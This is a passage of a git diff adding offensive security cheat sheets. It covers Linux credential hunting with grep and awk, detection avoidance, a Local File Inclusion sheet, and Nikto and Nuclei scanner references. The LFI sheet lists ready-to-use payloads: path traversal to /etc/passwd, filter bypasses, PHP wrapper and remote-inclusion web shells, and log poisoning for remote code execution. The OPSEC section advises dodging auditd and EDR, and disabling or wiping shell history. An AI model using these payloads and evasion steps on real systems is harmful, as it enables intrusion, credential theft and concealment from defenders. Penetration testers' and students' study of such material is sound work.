not a binary; use `file` to verify +2. Excessive output — Increase minimum length: `-n 8` or `-n 12` +3. Permission denied on `/proc/[pid]/mem` — Requires root or process owner + +### Version and Platform Notes + +1. GNU strings (Linux standard): supports all encodings and formats +2. BSD strings (macOS): limited encoding support + +--- + +## Parsing and Filtering Output (awk, sed, cut) + +**Purpose:** Extract and format specific fields from grep/find results + +**Prerequisites:** Standard Linux shell (bash/sh) + +### Core Commands + +```bash +# awk: split by delimiter and print fields +grep 'password=' file.conf | awk -F= '{print $2}' + +# cut: extract column by delimiter +grep 'user:' file | cut -d: -f2 + +# sed: regex extraction +sed -n 's/.*password=\([^&]*\).*/\1/p' file +``` + +### Options and Flags + +1. **awk -F[char]** — Field separator (default whitespace) +2. **awk {print $N}** — Print field N (1-indexed; `$0` entire line) +3. **cut -d[char]** — Delimiter character +4. **cut -f[N]** — Field number(s) to extract +5. **sed -n** — Suppress default output (only print explicit `p` commands) +6. **sed s/pattern/replacement/** — Substitute (regex) + +### Practical Examples + +```bash +# Extract passwords from "password=value" format +grep -ri 'password=' /etc | awk -F= '{print $2}' + +# Extract usernames from /etc/passwd (field 1, delimiter :) +cut -d: -f1 /etc/passwd + +# Extract usernames and home directories +awk -F: '{print $1 " -> " $6}' /etc/passwd + +# Extract database credentials from config +grep -E 'user|password|host' db.conf | awk -F= '{print $1 ": " $2}' + +# Extract API keys from grep output (remove filename prefix) +grep -rh 'api_key=' /var/www | cut -d= -f2 | sort -u + +# Extract values between quotes +sed -n 's/.*password="\([^"]*\)".*/\1/p' config.php + +# Extract IP addresses from logs +grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn + +# Parse JSON-like output (basic) +grep -o '"password":"[^"]*"' config.json | cut -d'"' -f4 +``` + +### Output Interpretation + +1. Extracted fields only; ready for further processing or reporting +2. Use `sort -u` to deduplicate, `sort | uniq -c` to count occurrences + +### OPSEC and Detection Notes + +**ZERO IMPACT**: awk/sed/cut operate on stdin/files; no network or unusual syscalls + +### Common Errors + +1. Wrong field number — Count fields carefully; awk is 1-indexed +2. Delimiter not matched — Verify with `head` first; ensure delimiter present +3. sed regex not matching — Test pattern with simpler examples; escape special chars + +### Version and Platform Notes + +1. POSIX-compliant awk/sed/cut work on all Linux/Unix +2. [GNU awk (gawk)](https://www.gnu.org/software/gawk/) supports advanced features (multi-char separators, arrays) + +--- + +## OPSEC and Detection Awareness + +**Purpose:** Understand what defensive tools log when searching for credentials + +**Prerequisites:** Awareness of target environment (auditd, EDR, SIEM presence) + +### Core Detection Mechanisms + +1. **[auditd](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/chap-system_auditing)** — File access monitoring; logs to `/var/log/audit/audit.log` +2. **EDR agents** — Behavioral detection; anomaly scoring for file enumeration patterns +3. **syslog** — General system logging; may capture bash history or command execution +4. **Process accounting (psacct)** — Logs executed commands + +### Key Indicators of Compromise (IOCs) Generated + +1. Recursive grep from `/` — High I/O load, CPU spike, massive file read count +2. Access to `/etc/shadow`, `/etc/passwd`, `~/.ssh/id_rsa` — High-priority alerts +3. Rapid sequential file reads across multiple directories — Anomaly detection trigger +4. Large result sets piped to output files — Unusual data exfiltration patterns + +### Detection Check Commands + +```bash +# Check if auditd is running +systemctl status auditd +ps aux | grep auditd + +# Check existing audit watches (requires root) +auditctl -l + +# Search audit logs for your own activity (requires root) +ausearch --file /etc/shadow --interpret +ausearch -k password-access -ts recent + +# Check for file watches on sensitive files +auditctl -l | grep -E 'shadow|passwd|ssh' + +# Generate audit summary report (requires root) +aureport -f | tail -50 +aureport -u | tail -20 + +# Check if EDR/monitoring agent present +ps aux | grep -iE 'falcon|crowdstrike|carbon|defender|sentinel|tanium' + +# Check SELinux status (may block file access) +sestatus +ls -Z /etc/shadow +``` + +### Output Interpretation + +1. auditd file watches indicate monitored paths +2. EDR processes indicate behavioral monitoring active +3. SELinux enforcing mode may silently block reads + +### OPSEC Recommendations + +1. **Target scope aggressively**: Search `/var/www`, `/opt`, specific user homes instead of `/` +2. **Exclude system directories**: Use `--exclude-dir={proc,sys,dev,run,usr/share}` with grep +3. **Small result sets**: Use `-l` (filenames only) until target narrowed +4. **Blend with normal activity**: Sysadmins search logs frequently; timing and context matter +5. **Avoid high-value files initially**: Test with lower-risk directories first +6. **Throttle I/O**: Add `sleep` between operations or use `nice`/`ionice` to reduce resource impact + +### Common Detection Artifacts + +1. **`/var/log/audit/audit.log`** — File access records: `type=PATH msg=audit(...): item=0 name="/etc/shadow"` +2. **Bash history** — Commands logged to `~/.bash_history` (disable: `unset HISTFILE`) +3. **Process command line** — Visible in `ps auxww` output while running +4. **Network anomaly** — Large internal file reads may correlate with exfil attempts + +### Mitigation Against Detection + +1. **Disable history temporarily**: `unset HISTFILE` or `set +o history` +2. **Clear history**: `history -c; rm ~/.bash_history` (obvious indicator if monitored) +3. **Use absolute paths**: Avoid relative paths that expose working directory context +4. **Redirect output carefully**: Large output files in `/tmp` or home directory may trigger alerts + +### Version and Platform Notes + +1. auditd standard on RHEL/CentOS/Fedora; may not be enabled by default on Debian/Ubuntu +2. systemd `journalctl` also logs command execution on systemd-based systems + +--- + +## References + +1. [GNU grep Manual](https://www.gnu.org/software/grep/manual/grep.html) +2. [grep Man Page - Linux.die.net](https://linux.die.net/man/1/grep) +3. [locate Man Page](https://man7.org/linux/man-pages/man1/locate.1.html) +4. [find Man Page](https://linux.die.net/man/1/find) +5. [Linux Privilege Escalation Using Misconfigured File Permissions - Hacking Articles](https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-file-permissions/) +6. [xargs Man Page](https://man7.org/linux/man-pages/man1/xargs.1.html) +7. [Linux find Command - Red Hat Sysadmin](https://www.redhat.com/sysadmin/linux-find-command) +8. [Linux /proc Filesystem Documentation](https://www.kernel.org/doc/Documentation/filesystems/proc.txt) +9. [ps Man Page](https://linux.die.net/man/1/ps) +10. [Linux Log Files Location and Viewing Guide - nixCraft](https://www.cyberciti.biz/faq/linux-log-files-location-and-how-do-i-view-logs-files/) +11. [journalctl Man Page](https://man7.org/linux/man-pages/man1/journalctl.1.html) +12. [GNU find Manual](https://www.gnu.org/software/findutils/manual/html_mono/find.html) +13. [strings Man Page](https://man7.org/linux/man-pages/man1/strings.1.html) +14. [awk Man Page](https://man7.org/linux/man-pages/man1/awk.1p.html) +15. [GNU sed Manual](https://www.gnu.org/software/sed/manual/sed.html) +16. [Understanding Audit Log Files - Red Hat](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files) +17. [Configuring and Auditing Linux Systems with auditd](https://linux-audit.com/configuring-and-auditing-linux-systems-with-auditd/) + +#Linux #PrivEsc #Enumeration #Credentials #grep #find #OPSEC #Logs #FileEnumeration #PasswordHunting diff --git a/src/content/sheets/enumeration/lfi.md b/src/content/sheets/enumeration/lfi.md @@ -0,0 +1,87 @@ +--- +title: "LFI" +description: "LFI — operator reference." +category: enumeration +tags: ["enumeration", "adcs", "file-inclusion"] +tools: ["ffuf"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/LFI - Cheat Sheet.md" +--- +## Local File Inclusion + +|**Command**|**Description**| +|---|---| +|**Basic LFI**|| +|`/index.php?language=/etc/passwd`|Basic LFI| +|`/index.php?language=../../../../etc/passwd`|LFI with path traversal| +|`/index.php?language=/../../../etc/passwd`|LFI with name prefix| +|`/index.php?language=./languages/../../../../etc/passwd`|LFI with approved path| +|**LFI Bypasses**|| +|`/index.php?language=....//....//....//....//etc/passwd`|Bypass basic path traversal filter| +|`/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`|Bypass filters with URL encoding| +|`/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]`|Bypass appended extension with path truncation (obsolete)| +|`/index.php?language=../../../../etc/passwd%00`|Bypass appended extension with null byte (obsolete)| +|`/index.php?language=php://filter/read=convert.base64-encode/resource=config`|Read PHP with base64 filter| + +## Remote Code Execution + +|**Command**|**Description**| +|---|---| +|**PHP Wrappers**|| +|`/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id`|RCE with data wrapper| +|`curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"`|RCE with input wrapper| +|`curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"`|RCE with expect wrapper| +|**RFI**|| +|`echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>`|Host web shell| +|`/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`|Include remote PHP web shell| +|**LFI + Upload**|| +|`echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`|Create malicious image| +|`/index.php?language=./profile_images/shell.gif&cmd=id`|RCE with malicious uploaded image| +|`echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`|Create malicious zip archive 'as jpg'| +|`/index.php?language=zip://shell.zip%23shell.php&cmd=id`|RCE with malicious uploaded zip| +|`php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg`|Create malicious phar 'as jpg'| +|`/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id`|RCE with malicious uploaded phar| +|**Log Poisoning**|| +|`/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd`|Read PHP session parameters| +|`/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E`|Poison PHP session with web shell| +|`/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id`|RCE through poisoned PHP session| +|`curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'`|Poison server log| +|`/index.php?language=/var/log/apache2/access.log&cmd=id`|RCE through poisoned PHP session| + +## Misc + +|**Command**|**Description**| +|---|---| +|`ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287`|Fuzz page parameters| +|`ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287`|Fuzz LFI payloads| +|`ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287`|Fuzz webroot path| +|`ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287`|Fuzz server configurations| +|[LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)|| +|[LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)|| +|[Webroot path wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt)|| +|[Webroot path wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt)|| +|[Server configurations wordlist for Linux](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux)|| +|[Server configurations wordlist for Windows](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows)|| + +## File Inclusion Functions + +|**Function**|**Read Content**|**Execute**|**Remote URL**| +|---|:-:|:-:|:-:| +|**PHP**|||| +|`include()`/`include_once()`|Yes|Yes|Yes| +|`require()`/`require_once()`|Yes|Yes|No| +|`file_get_contents()`|Yes|No|Yes| +|`fopen()`/`file()`|Yes|No|No| +|**NodeJS**|||| +|`fs.readFile()`|Yes|No|No| +|`fs.sendFile()`|Yes|No|No| +|`res.render()`|Yes|Yes|No| +|**Java**|||| +|`include`|Yes|No|No| +|`import`|Yes|Yes|Yes| +|**.NET**|||| +|`@Html.Partial()`|Yes|No|No| +|`@Html.RemotePartial()`|Yes|No|Yes| +|`Response.WriteFile()`|Yes|No|No| +|`include`|Yes|Yes|Yes| diff --git a/src/content/sheets/enumeration/nikto-nuclei-web-scanner-cheatsheets.md b/src/content/sheets/enumeration/nikto-nuclei-web-scanner-cheatsheets.md @@ -0,0 +1,942 @@ +--- +title: "Nikto & Nuclei - Web Scanner Cheatsheets" +description: "sudo apt-get install nikto" +category: enumeration +tags: ["enumeration"] +tools: ["Nmap", "Nuclei", "Nikto", "Metasploit"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/Nikto & Nuclei - Web Scanner Cheatsheets.md" +--- +# Nikto + +--- + +## Install & Update + +```bash +# Kali / Debian / Ubuntu +sudo apt-get install nikto + +# Git clone — latest code (v2.5.0+) +git clone https://github.com/sullo/nikto +cd nikto/program && perl nikto.pl -Help + +# Docker — no local Perl required +docker pull sullo/nikto +docker run --rm sullo/nikto -h <target> + +# Update plugin/signature database +nikto -update + +# Verify installation and check DB integrity +nikto -Version +nikto -dbcheck +``` + +> [!info]+ Command Breakdown +> 1. **apt-get install nikto** — installs the packaged version; may lag behind upstream releases +> 2. **git clone** — always pulls the latest v2.5.0+ code; preferred for up-to-date signatures +> 3. **docker pull/run** — fully self-contained; no Perl dependency on the host +> 4. **-update** — syncs the vulnerability plugin and signature database; run before every engagement +> 5. **-dbcheck** — syntax-validates DB files; run after updates to confirm integrity + +--- + +## Basic Web Scan + +```bash +# Standard HTTP scan +nikto -h http://192.168.1.10 + +# Specify port +nikto -h <host> -p <port> + +# Force HTTPS +nikto -h <host> -ssl + +# Multiple ports +nikto -h <host> -p 80,443,8080 + +# Bulk scan from file (one host per line) +nikto -h hosts.txt + +# HTTPS on non-standard port +nikto -h 192.168.1.10 -p 8443 -ssl + +# Authenticated scan with virtual host override +nikto -h http://192.168.1.10 -id admin:admin -vhost internal.corp.local + +# Scan host list with 2s delay, abort after 10 min +nikto -h hosts.txt -Pause 2 -maxtime 600s + +# Route all traffic through Burp Suite +nikto -h http://10.10.10.10 -useproxy http://127.0.0.1:8080 + +# Spoof User-Agent +nikto -h http://10.10.10.10 -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" +``` + +> [!info]+ Key Flags Reference + +| Flag | Description | Default | +|---|---|---| +| `-h` | Target host / IP / URL | — | +| `-p` | Port(s), comma-sep or range | 80 | +| `-ssl` | Force HTTPS | off | +| `-nossl` | Force HTTP | off | +| `-id user:pass[:realm]` | HTTP Basic / NTLM auth | — | +| `-vhost HOSTNAME` | Override `Host:` header | — | +| `-useproxy http://IP:PORT` | Route via HTTP proxy | off | +| `-useragent "STRING"` | Spoof User-Agent | Nikto/version | +| `-root /path/` | Prepend path to all requests | — | +| `-timeout N` | Per-request timeout (seconds) | 10 | +| `-Pause N` | Delay between tests (seconds) | 0 | +| `-maxtime Ns` | Abort entire scan after N seconds | none | +| `-no404` | Disable 404 page guessing | off | +| `-nointeractive` | Suppress interactive prompts | off | +| `-nolookup` | Skip DNS lookups | off | +| `-Plugins "all"` | Run all plugins | ALL | +| `-list-plugins` | List available plugins | — | +| `-update` | Update plugins/signatures | — | +| `-dbcheck` | Syntax-check DB files | — | + +> [!info]+ Output Interpretation +> 1. **`+ OSVDB-XXXX`** — known vulnerability reference; always verify before reporting +> 2. **`+ Server: Apache/2.2.x`** — outdated version detected; cross-check [NVD](https://nvd.nist.gov/)/CVE +> 3. **`+ /admin/` returning 200** — exposed panel; investigate access controls +> 4. **`+ OPTIONS: PUT, DELETE`** — dangerous HTTP methods enabled; test for write access +> 5. **`+ X-Frame-Options header not set`** — potential [clickjacking](https://owasp.org/www-community/attacks/Clickjacking); note for report + +> [!warning]+ OPSEC / Detection Notes +> 6. Default UA `Mozilla/5.00 (Nikto/2.x.x)` is trivially flagged by any WAF — always spoof with `-useragent` +> 7. Even with UA spoofing, the sequential probe pattern (`/.git`, `/admin`, `/cgi-bin` etc.) is a strong fingerprint +> 8. Every request appears in `access.log` and `error.log`; WAF rules will trigger +> 9. `-Pause` adds delay but does **not** randomise order — rate-based detection still fires +> 10. **No stealth mode exists** — treat all Nikto scans as loud/noisy +> 11. Use `-Tuning b` (software ID only) for the lowest-footprint option + +> [!failure]+ Common Errors + +| Error | Fix | +|---|---| +| `ERROR: Cannot open db_tests` | Re-clone repo or run as root; run `-update` | +| SSL handshake failure | Explicitly add `-ssl` or `-nossl` | +| Scan completes with 0 findings | Target unreachable; verify with `curl` first | +| `No plugin found` | Run `nikto -list-plugins` to confirm name | +| Perl module missing | `cpan install Net::SSLeay` for SSL support | +| IPv6 target not resolving | Add `-ipv6` flag explicitly | + +--- + +## Tuning & Targeted Checks + +> [!faq]+ What is Tuning? +> Tuning narrows scans to specific vulnerability classes — reduces noise, cuts scan time, and lowers detection surface. Combine multiple codes in a single string (e.g. `-Tuning 49` = XSS + SQLi). + +> [!info]+ Tuning Code Reference + +| Code | Check Type | +|---|---| +| `0` | File upload | +| `1` | Interesting files / seen in logs | +| `2` | Misconfiguration / default files | +| `3` | Information disclosure | +| `4` | Injection (XSS / Script / HTML) | +| `5` | Remote file retrieval (inside web root) | +| `6` | Denial of service ⚠️ may break services | +| `7` | Remote file retrieval (server-wide) | +| `8` | Command execution / remote shell | +| `9` | SQL injection | +| `a` | Authentication bypass | +| `b` | Software identification | +| `c` | Remote source inclusion | +| `x` | Reverse — run ALL except listed codes | + +```bash +# XSS + SQLi only +nikto -h http://10.10.10.10 -Tuning 49 + +# Info disclosure + misconfiguration +nikto -h http://10.10.10.10 -Tuning 23 + +# Auth bypass + command execution +nikto -h http://10.10.10.10 -Tuning a8 + +# All checks EXCEPT denial of service +nikto -h http://10.10.10.10 -Tuning x6 + +# Software ID only — lowest footprint +nikto -h http://10.10.10.10 -Tuning b + +# Full sweep minus DoS, save as JSON +nikto -h http://10.10.10.10 -Tuning x6 -o results.json -Format json +``` + +> [!info]+ Command Breakdown +> 1. **Tuning codes are combined as a string** — `-Tuning 49` runs codes `4` AND `9` simultaneously +> 2. **`x` reversal prefix** — `-Tuning x6` runs everything *except* DoS; safest full-scan option +> 3. **`b` alone** — software identification only; quietest possible scan; good for initial fingerprinting +> 4. *Combining `-Tuning` with `-o` and `-Format json` captures structured results for later analysis* + +> [!danger]+ Tuning Code 6 — Denial of Service +> Code `6` can cause **service disruption** on the target. Exclude with `-Tuning x6` unless DoS testing is explicitly authorised in your scope agreement. + +> [!warning]+ OPSEC Note +> Multiple tuning codes still execute many sequential requests — the pattern remains recognisable to IDS/WAF regardless of which codes are selected. + +--- + +## Evasion Techniques + +> [!warning]+ Effectiveness Warning +> Nikto evasion codes provide **very limited bypass** against modern WAFs (Cloudflare, ModSecurity v3). Request volume is unchanged — rate/volume-based detection still fires. Best combined with `-Pause`, narrow `-Tuning`, and UA spoofing. + +> [!info]+ Evasion Code Reference + +| Code | Technique | +|---|---| +| `1` | Random URI encoding (non-UTF8) | +| `2` | Directory self-reference `/./` | +| `3` | Premature URL ending | +| `4` | Prepend long random string | +| `5` | Fake URL parameter | +| `6` | TAB as request spacer | +| `7` | Change case of URL | +| `8` | Windows path separator `\` | +| `A` | Carriage return as request spacer | +| `B` | Binary value `0x0b` as request spacer | + +```bash +# Random URI encoding +nikto -h http://10.10.10.10 -evasion 1 + +# URI encoding + case change combined +nikto -h http://10.10.10.10 -evasion 17 + +# Targeted scan + evasion combo + slow down +nikto -h http://10.10.10.10 -Tuning 49 -evasion 12 -Pause 1 +``` + +> [!info]+ Command Breakdown +> 1. **Evasion codes combine as a string** — `-evasion 17` applies codes `1` AND `7` simultaneously +> 2. **`-evasion 12 -Pause 1`** — encoding + directory self-reference with 1s delay; reduces scan velocity +> 3. *Pairing narrow `-Tuning` with evasion codes and UA spoofing is the closest Nikto gets to low-noise operation* + +--- + +## Output Formats & Nmap Integration + +> [!info]+ Supported Output Formats (`-Format`) + +| Code | Type | Notes | +|---|---|---| +| `txt` | Plain text | Default if no extension match | +| `csv` | Comma-separated | Good for spreadsheet / Splunk import | +| `json` | JSON | v2.5.0+ native; best for pipelines | +| `xml` | XML | Vuln management tool import | +| `htm` | HTML | Human-readable client report | +| `nbe` | Nessus NBE | Import into Nessus / legacy tools | +| `msf+` | Metasploit log | Direct log to Metasploit DB | + +```bash +# JSON output +nikto -h http://10.10.10.10 -o scan.json -Format json + +# HTML report for client delivery +nikto -h http://10.10.10.10 -p 443 -ssl -o report.htm -Format htm + +# XML for vulnerability management import +nikto -h http://10.10.10.10 -o nikto_out.xml -Format xml + +# Multiple formats from one scan (comma-separated) +nikto -h http://10.10.10.10 -o results.csv -Format csv,xml + +# nmap greppable output piped directly to Nikto +# (discovers HTTP ports then scans each automatically) +nmap -p80,443,8080,8443 192.168.1.0/24 -oG - | nikto -h - + +# nmap XML output fed to Nikto directly +nmap -sV -p80,443 192.168.1.0/24 -oX nmap_out.xml +nikto -h nmap_out.xml -o nikto_results.xml -Format xml + +# Live output to stdout AND file simultaneously +nikto -h http://10.10.10.10 -Display P | tee nikto_live.txt +``` + +> [!info]+ Command Breakdown +> 1. **`-Format json`** requires v2.5.0+; older apt packages may not support it — use git clone if missing +> 2. **`-oG - | nikto -h -`** — nmap pipes greppable output directly; Nikto reads host list from stdin; efficient for subnet sweeps +> 3. **`-h nmap_out.xml`** — Nikto natively parses nmap XML; automatically extracts hosts and ports +> 4. **`-Display P | tee`** — streams live findings to terminal and writes to file simultaneously +> 5. **`msf+` / `nbe`** formats require additional DB configuration in `nikto.conf` +> 6. *Format is auto-detected from file extension if `-Format` is omitted* + +--- +--- + +# Nuclei + +--- + +## Install & Template Management + +```bash +# Option 1 — Go install (always latest) +go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest + +# Option 2 — Pre-built binary (Linux x64) +wget https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_linux_amd64.zip +unzip nuclei_linux_amd64.zip && mv nuclei /usr/local/bin/ + +# Option 3 — Docker +docker pull projectdiscovery/nuclei:latest +docker run --rm projectdiscovery/nuclei -u https://example.com + +# Option 4 — Kali apt (may lag upstream; prefer binary) +sudo apt-get install nuclei + +# Verify installation +nuclei -version +nuclei -health-check +``` + +> [!info]+ Template Management Commands +```bash +# First run auto-downloads templates to ~/.local/nuclei-templates/ +nuclei -u example.com + +# Update templates to latest release +nuclei -ut + +# Update nuclei engine binary +nuclei -up + +# Use custom template directory +nuclei -ud /opt/nuclei-templates -ut + +# Show installed template version +nuclei -tv + +# List all available templates +nuclei -tl + +# List all available tags +nuclei -tgl + +# Validate a template before use +nuclei -t /path/to/template.yaml -validate + +# Disable auto-update check (OPSEC — suppresses outbound to GitHub on start) +nuclei -u example.com -duc +``` + +> [!info]+ Template Source Reference + +| Source | URL | Notes | +|---|---|---| +| Official | [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) | 10,000+ templates; primary source | +| Official Labs | [nuclei-templates-labs](https://github.com/projectdiscovery/nuclei-templates-labs) | PoC / learning templates | +| Official Fuzzing | [fuzzing-templates](https://github.com/projectdiscovery/fuzzing-templates) | DAST fuzzing templates | +| Community collection | [Nuclei-Templates-Collection](https://github.com/emadshanab/Nuclei-Templates-Collection) | Curated community set | +| Aggregator (600+ repos) | [nucleihub-templates](https://github.com/rix4uni/nucleihub-templates) | Auto-synced every 6 hours | +| Browse all | [GitHub topic](https://github.com/topics/nuclei-templates) | All public template repos | + +> [!info]+ Official Template Directory Layout +``` +nuclei-templates/ +├── http/cves/ # CVE-specific (1,400+) +├── http/exposures/ # Info disclosure (275+) +├── http/misconfiguration/ # Misconfigs (237+) +├── http/exposed-panels/ # Admin panels (662+) +├── http/default-logins/ # Default credentials (103+) +├── http/technologies/ # Tech fingerprint (282+) +├── http/vulnerabilities/ # General vulns (509+) +├── workflows/ # Multi-step chains (189+) +├── ssl/ # TLS/cert checks +├── dns/ # DNS checks +├── network/ # TCP/UDP checks +└── file/ # Local file checks +``` + +--- + +## Basic Vulnerability Scan + +```bash +# All templates, single target +nuclei -u https://example.com + +# Scan from target list +nuclei -l targets.txt + +# Specific template or directory +nuclei -u https://example.com -t http/cves/ + +# Multiple template directories +nuclei -u https://example.com -t http/cves/ -t ssl -t http/exposures/ + +# High/critical severity only +nuclei -l targets.txt -s high,critical + +# Tag-based — WordPress checks +nuclei -u https://example.com -tags wordpress + +# Exclude info noise +nuclei -u https://example.com -es info + +# Auto-scan — tech detection drives template selection +nuclei -u https://example.com -as + +# New templates only (latest release delta) +nuclei -u https://example.com -nt + +# Specific CVE by template ID +nuclei -u https://example.com -id CVE-2021-44228 + +# Load template directly from URL +nuclei -u https://example.com -turl https://raw.githubusercontent.com/.../template.yaml +``` + +> [!info]+ Key Flags — Target + +| Flag | Description | Default | +|---|---|---| +| `-u` | Single URL/host | — | +| `-l` | File of targets (one per line) | — | +| `-eh` | Exclude hosts (IP/CIDR/hostname) | — | +| `-resume` | Resume from `resume.cfg` | off | +| `-sa` | Scan all IPs for a hostname | off | +| `-iv` | IP version (4 or 6) | 4 | + +> [!info]+ Key Flags — Templates & Filtering + +| Flag | Description | Default | +|---|---|---| +| `-t` | Template file or directory | all | +| `-turl` | Load template from URL | — | +| `-w` | Workflow file or directory | — | +| `-nt` | New templates in latest release only | off | +| `-as` | Auto-scan via Wappalyzer tag mapping | off | +| `-tags` | Filter by tag(s), comma-separated | — | +| `-etags` | Exclude tags | — | +| `-id` | Filter by template ID(s) | — | +| `-eid` | Exclude template ID(s) | — | +| `-s` | Severity: `info,low,medium,high,critical` | all | +| `-es` | Exclude severity levels | — | +| `-pt` | Protocol type: `dns,http,ssl,tcp,file,headless...` | all | +| `-a` | Filter by template author | — | +| `-tl` | List all installed templates | — | +| `-tgl` | List all available tags | — | +| `-validate` | Validate template syntax | — | +| `-code` | Enable code-protocol templates (explicit opt-in) | off | +| `-dut` | Block unsigned/mismatched templates | off | + +> [!info]+ Common Tags Reference + +| Tag | Coverage | +|---|---| +| `cve` | All CVE templates | +| `exposure` | Info/credential disclosure | +| `misconfiguration` | Server/app misconfigs | +| `default-login` | Default credentials | +| `exposed-panel` | Admin/management panels | +| `rce` | Remote code execution | +| `sqli` | SQL injection | +| `xss` | Cross-site scripting | +| `ssrf` | Server-side request forgery | +| `lfi` | Local file inclusion | +| `wp-plugin` | WordPress plugin vulns | +| `tech` | Technology detection | +| `ssl` | TLS / certificate issues | +| `dns` | DNS misconfigs | +| `login` | Auth-related | + +> [!info]+ Output Interpretation +> 1. **`[INF]`** — Tech/version detected; low operational priority +> 2. **`[LOW]` / `[MED]`** — Misconfigs, disclosures; assess contextual risk +> 3. **`[HIGH]` / `[CRIT]`** — Confirmed or likely exploitable; investigate immediately +> 4. **Template ID shown inline** (e.g. `CVE-2021-44228`) — map to [NVD](https://nvd.nist.gov/) for full CVSS score +> 5. **`[matcher-status]` lines with `-ms`** — shows failed matches; useful for false-positive tuning + +> [!failure]+ Common Errors + +| Error | Fix | +|---|---| +| `No templates found` | Run `nuclei -ut`; check `~/.local/nuclei-templates/` exists | +| Template parse error | Run `nuclei -t template.yaml -validate` | +| OAST interaction timeout | Add `-ni` or use `-iserver` with self-hosted Interactsh | +| OOM / high memory on large scans | Reduce `-c 10 -bs 10`; lower `-timeout 5` | +| `host skipped (max errors)` | Target unstable; raise `-mhe` or check connectivity | +| Templates not updating | Check outbound HTTPS; try `nuclei -ut -v` | +| Unsigned template blocked | Sign template or remove `-dut` restriction (not recommended) | + +--- + +## Output Formats & Reporting + +> [!info]+ Output Flag Reference + +| Flag | Format | Best Use | +|---|---|---| +| `-o <file>` | Plain text | Quick review | +| `-j` / `-jsonl` | JSONL to stdout | Pipeline / `jq` | +| `-json-export <file>` | JSON array | Structured import | +| `-jsonl-export <file>` | JSONL file | Splunk / ELK ingestion | +| `-markdown-export <dir>` | Markdown per template | Client-ready report | +| `-sarif-export <file>` | SARIF | GitHub / Azure DevOps CI gate | +| `-rdb <file>` | SQLite DB | Persistent multi-run reporting | +| `-silent` | Suppress banner | Findings-only stdout | +| `-nm` | No metadata | Cleaner pipe output | +| `-ts` | Add timestamps | Audit log | +| `-or` | Omit raw req/resp | Smaller output files | +| `-store-resp` | Store all req/resp | Full traffic archive | +| `-nc` | No ANSI colour | Log files / CI output | + +```bash +# JSONL with timestamps, no raw payloads +nuclei -l targets.txt -s high,critical -jsonl-export findings.jsonl -ts -or + +# Markdown report — full req/resp included +nuclei -u https://example.com -markdown-export ./report/ + +# SARIF for GitHub Actions CI gate +nuclei -u https://example.com -sarif-export nuclei.sarif + +# Filter JSONL with jq — critical findings only +nuclei -u https://example.com -json-export out.json +cat out.json | jq '.[] | select(.info.severity=="critical")' + +# Silent mode — print findings only, no banner +nuclei -l targets.txt -s high,critical -silent -o findings.txt + +# Persistent report database across multiple scans +nuclei -l targets.txt -rdb nuclei_results.db + +# Store every request/response as evidence +nuclei -u https://example.com -store-resp -srd ./traffic_archive/ +``` + +> [!info]+ Command Breakdown +> 1. **`-ts -or`** — timestamps every finding and omits raw payloads; keeps files compact for audit logs +> 2. **`-markdown-export`** — generates one Markdown file per template match; ideal for client deliverables +> 3. **`-sarif-export`** — SARIF format integrates with GitHub Security tab and Azure DevOps pipeline gates +> 4. **`jq '.[] | select(.info.severity=="critical")'`** — filters JSON export to critical findings only; powerful for triage +> 5. **`-rdb`** — SQLite database accumulates results across multiple scan runs; enables trend tracking +> 6. **`-store-resp -srd`** — archives every raw HTTP request/response for evidence and replay + +--- + +## Rate Limiting & OPSEC + +> 